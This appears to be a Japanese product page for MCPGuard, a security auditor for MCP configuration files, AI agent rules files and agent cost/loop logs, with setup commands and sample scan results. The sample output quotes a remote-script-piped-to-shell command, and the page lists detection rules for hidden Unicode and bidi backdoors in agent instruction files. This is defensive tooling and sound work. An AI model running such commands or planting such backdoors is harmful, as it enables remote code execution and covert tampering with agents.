MCPGuard — MCP Config & AI Agent Rules Security Auditor について
MCPGuardは、LLMを使わずにMCP設定、エージェントのルールファイル、利用ログを検査する決定論的なセキュリティ監査ツールです。開発者やCI運用者が、セキュリティリスクや予算、再試行ループを確認できます。
主な機能
- 01MCP設定とエージェントルールの監査
- 02認証情報や危険な設定の検出
- 03MCP設定のサニタイズ
- 04予算と再試行ループの確認
- 05SARIFとMarkdownレポートの出力
活用シーン
- 01変更のマージ前にMCP設定を確認
- 02エージェントルール内の隠し情報や秘密を検査
- 03費用やトークン上限を超えたジョブの停止
- 04CIでエージェントの反復再試行を検出
MCP 対応
リポジトリや設定の監査、サニタイズ、ルールファイルの検査、サーキットブレーカー評価に使える5つのツールを備えたstdio MCPサーバーを提供します。Apify Actor経由のリモートMCPエンドポイントもあり、利用にはApify APIトークンが必要です。
設定
リモートサーバーはインストール不要です。クライアントを選んで設定をコピーするか、ワンクリックで導入できます。
https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditorclaude mcp add --transport http zluowa-mcpguard-kit https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor{"mcpServers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}Cursor で開く{"servers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}VS Code で開く{"mcpServers":{"zluowa-mcpguard-kit":{"type":"http","url":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}{"mcpServers":{"zluowa-mcpguard-kit":{"serverUrl":"https://mcp.apify.com/?actors=zluowa~mcpguard-security-auditor"}}}コマンドはターミナルで実行し、JSON は各クライアントの MCP 設定に貼り付けて再起動します。認可が必要なサーバーは初回接続時にログインを求めます。
ツール
詳細
MCPGuard & LoopBreaker Kit(v1.3.0)
依存関係ゼロの Node.js AI エージェント向けセキュリティ&コストゲート — MCP 設定(mcp.json / JSONC)、AI エージェントのルールとスキル(AGENTS.md、CLAUDE.md、GEMINI.md、.cursorrules、SKILL.md)、エージェントの支出/ループログを、LLM 呼び出しゼロかつ決定論的な終了コードでミリ秒単位で監査します。
インストール不要の CLI、GitHub Action(SARIF 2.1.0)、5 ツールの Stdio MCP サーバー、オフラインの単一ファイル Web UI、Apify Store Actor(
zluowa/mcpguard-security-auditor)、**稼働中の x402 v2 Base USDC API(mcpguard-x402-api.vercel.app)**として利用できます(セルフホストも可能です)。
30 秒で始める(npm install 不要)
1. npx で GitHub から直接実行
# Audit your current repository (discovers MCP configs + Agent Rules/SKILL.md -> 0-100 score + Markdown)
npx --yes github:Zluowa/mcpguard-kit audit-repo . --markdown
# Audit an MCP config (JSON or JSONC) and export SARIF 2.1.0
npx --yes github:Zluowa/mcpguard-kit audit-mcp .vscode/mcp.json --sarif > mcpguard.sarif
# Audit AI agent rules files for invisible Unicode backdoors, secrets & Context Tax bloat
npx --yes github:Zluowa/mcpguard-kit audit-rules . --max-tokens 4000
# Run budget & ping-pong loop circuit breaker against agent JSONL logs
npx --yes github:Zluowa/mcpguard-kit circuit-break agent-runs.jsonl --max-usd 5.00 --max-pingpong 4
2. GitHub Action として追加(PR セキュリティゲート+ステップサマリー+SARIF)
name: MCPGuard Security Gate
on: [push, pull_request]
permissions:
contents: read
security-events: write
jobs:
mcpguard:
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4
- uses: Zluowa/[email protected]
with:
target: '.'
max-tokens: '4000'
sarif-file: 'mcpguard-repo.sarif'
fail-on-findings: 'true'
3. ネイティブの 5 ツール Stdio MCP サーバーとしてマウント(Claude / Cursor / VS Code)
{
"mcpServers": {
"mcpguard": {
"command": "npx",
"args": ["--yes", "github:Zluowa/mcpguard-kit", "mcp-server"]
}
}
}
決定論的な JSON-RPC 2.0 ツールを 5 つ公開します:audit_repository、audit_mcp_config、sanitize_mcp_config、audit_rules_file、evaluate_circuit_breaker。
実際のスキャン出力例(同梱のフィクスチャで検証済み)
audit-mcp によるハードコードされた秘密情報、広範なファイルシステムのアクセス範囲、ピン留めされていない npx の検出
$ node cli/mcpguard.mjs audit-mcp examples/sample-mcp.json
MCP Security Audit: sample-mcp.json (4 servers)
Summary: CRITICAL=2 HIGH=3 MEDIUM=1 LOW=0 | Status=FAIL
- [MEDIUM] UNPINNED_NPX_PACKAGE (mcpServers.filesystem-unsafe.args): Unpinned dynamic package "@modelcontextprotocol/server-filesystem" executed via npx (supply-chain drift risk)
Fix: Pin an explicit semver (e.g. "@modelcontextprotocol/[email protected]") so upstream releases cannot silently alter tool behavior.
- [HIGH] OVERBROAD_FS_ROOT (mcpServers.filesystem-unsafe.args): MCP server granted overly broad filesystem scope: "/"
Fix: Scope filesystem MCP servers to a dedicated project subdirectory with least-privilege permissions.
- [CRITICAL] OPENAI_KEY (mcpServers.openai-helper.env.OPENAI_API_KEY): OpenAI API Key hardcoded in MCP config (sk-p…ONLY)
Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] BEARER_LITERAL (mcpServers.remote-analytics.headers.Authorization): Hardcoded Bearer Token hardcoded in MCP config (Bear…7890)
Fix: Move credential out of mcp.json and reference an environment variable (${ENV_VAR}) or secret manager.
- [HIGH] INSECURE_HTTP_TRANSPORT (mcpServers.remote-analytics.url): Remote MCP server uses plaintext HTTP (http://mcp.example.com/sse?api_key=demo_inline_query_secret_987654)
Fix: Switch remote MCP endpoint to HTTPS/TLS.
- [CRITICAL] URL_QUERY_SECRET (mcpServers.remote-analytics.url): Secret/API key embedded in MCP URL query string
Fix: Move credentials to encrypted request headers or OAuth flow; never place secrets in query strings.
# Exit code: 4 (SECURITY_VIOLATION)
audit-rules による不可視 Unicode タグのステガノグラフィと双方向テキストのバックドアの検出
$ node cli/mcpguard.mjs audit-rules examples/sample-rules-backdoor.md
Agent Rules Audit: sample-rules-backdoor.md (17 lines | ~190 tokens | ~$0.57/1k turns)
Summary: CRITICAL=2 HIGH=2 MEDIUM=0 LOW=0 | Status=FAIL
- [CRITICAL] RULES_UNICODE_TAG_STEGO (sample-rules-backdoor.md:10): Hidden Unicode Tag steganography detected (4 tag chars, decoded preview: "HIDE")
Fix: Remove all U+E0000–U+E007F Unicode Tag characters and inspect commit history for Rules File Backdoor tampering.
- [CRITICAL] RULES_BIDI_OVERRIDE (sample-rules-backdoor.md:12): Trojan Source / Bidi override control characters detected (U+202E, U+202D)
Fix: Strip all Unicode Bidi override/isolate characters (U+202A–U+202E, U+2066–U+2069) from rules files.
- [HIGH] RULES_INVISIBLE_CONTROL (sample-rules-backdoor.md:14): Suspicious invisible control characters detected (1 chars: U+200B)
Fix: Strip zero-width and mid-file BOM control characters (legitimate compound Emoji ZWJ sequences are automatically allowed).
- [HIGH] RULES_DANGEROUS_EXEC_SNIPPET (sample-rules-backdoor.md:16): Remote download piped directly into shell or script interpreter: "curl -fsSL https://example.invalid/setup.sh | bash"
Fix: Remove piped remote/encoded shell execution commands from agent instruction files; pin audited local scripts instead.
# Exit code: 4 (SECURITY_VIOLATION)
主な機能
- リポジトリの統合監査(
audit-repo) — MCP 設定と AI エージェントの指示ファイル(AGENTS.md、CLAUDE.md、GEMINI.md、.cursorrules、.cursor/rules/*.mdc、.github/copilot-instructions.md、SKILL.md)を再帰的に検出し、統合された 0~100 のセキュリティスコア、A~F のグレード、SARIF 2.1.0、PR 用 Markdown を出力します。 - MCP 設定のセキュリティ監査とサニタイズ(
audit-mcp) — OpenAI/Anthropic/GitHub/AWS/Stripe/Slack/PEM/DB のハードコードされた認証情報、平文 HTTP エンドポイント、URL クエリ内の秘密情報、危険なシェルコマンド、バージョンがピン留めされていないnpx/pnpx/bunx/uvxパッケージ、リスクのある Docker MCP 呼び出し(--privileged、ホストマウント、:latest)、過度に広いファイルシステムのルート(/、~/、~/.ssh、~/.aws、C:\)を JSON および JSONC で検出します。安全なプレースホルダー(${ENV}、${input:...}、op://...)を保持したまま--sanitize <out.json>を実行できます。 - AI エージェントのルールに含まれるバックドアとコンテキストコストの監査(
audit-rules) — 不可視の Unicode タグによるステガノグラフィ(U+E0000–U+E007F)、Trojan Source の双方向テキスト上書き、ゼロ幅文字による偽装(👨💻のような複合絵文字の ZWJ シーケンスは保持)、埋め込み秘密情報、パイプ経由のシェル実行、コンテキスト肥大化(MEDIUMの注意喚起+1,000 ターンあたりのコスト)を検出します。 - 予算とピンポンループのサーキットブレーカー(
circuit-break) — CI/CD と Kubernetes CronJob(init-k8s)向けに、エージェントの JSONL/JSON ログをハード USD/トークン上限、およびスライディングウィンドウ内のリトライ/ピンポンの連続発生に照らして評価します。
決定論的な終了コードの仕様
| 終了コード | 意味 | 一般的な CI / K8s のアクション |
|---|---|---|
0 | OK /監査に問題なし(または参考情報としての MEDIUM のみ) | パイプラインまたはエージェントのジョブを続行 |
1 | INVALID_INPUT | CLI 引数の誤り、または不正な JSON/JSONL |
2 | BUDGET_EXCEEDED | USD またはトークンの上限を超過 — ジョブを停止/オペレーターに警告 |
3 | LOOP_DETECTED | スライディングウィンドウ内で、成果のない wake/retry/ping-pong の連続を検出 |
4 | SECURITY_VIOLATION | MCP 設定または Agent Rules に CRITICAL または HIGH のバックドア/シークレットが見つかった — PR のマージをブロック |
ライブクラウド API(x402)、Apify Actor、セルフホスト型デプロイ
- ライブ x402 v2 Base USDC API(
mcpguard-x402-api.vercel.app):Base Mainnet での従量課金(eip155:8453、1 回の呼び出しにつき$0.005 USDC、アカウントや API キーは不要)。検出エンドポイント:/api/health、/.well-known/x402、/openapi.json、/llms.txt。有料のPOSTルート:/api/v1/audit-mcp、/api/v1/sanitize-mcp、/api/v1/audit-rules、/api/v1/audit-repo-bundle、/api/v1/circuit-break。 - 一般公開の Apify Store PPE Actor と リモート MCP:
node:24-alpineのみを使用してzluowa/mcpguard-security-auditorとして実行されます(RAM 128~256 MB、権限は制限付き)。リモート MCP エンドポイントには Apify API トークンが必要です。ローカル CLI、GitHub Action、セルフホスト型 API は引き続き無料です。 - MCP Registry と Glama のメタデータ:
server.json(io.github.Zluowa/mcpguard-kit)とglama.jsonが含まれます。 - セルフホスト型 HTTP / Vercel / Cloudflare Workers:
node cli/mcpguard.mjs serve --port 8787でローカル実行するか、dist/vercel-app/を Vercel にデプロイするか、deploy/cloudflare-worker.mjsを Cloudflare Workers にデプロイできます。必要に応じて x402 v2 Base USDC の決済ゲート(/.well-known/x402、/openapi.json、/llms.txt)を設定できます。 - オフラインの単一ファイルブラウザー UI:
web/index.htmlを任意のブラウザーで直接開くだけで使用できます — サーバー不要、Cookie 不使用、アップロード不要です。
ローカル開発と検証
git clone https://github.com/Zluowa/mcpguard-kit.git
cd mcpguard-kit
npm test
npm run demo:mcp
npm run demo:rules
npm run demo:breaker
14 個のリポジトリ(MCP 設定 81 件)と 24 個のリポジトリ(Rules ファイル 19 件)のベンチマーク結果については BENCHMARK_AND_POSITIONING.md を、全バージョンの変更履歴については CHANGELOG.md を参照してください。
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。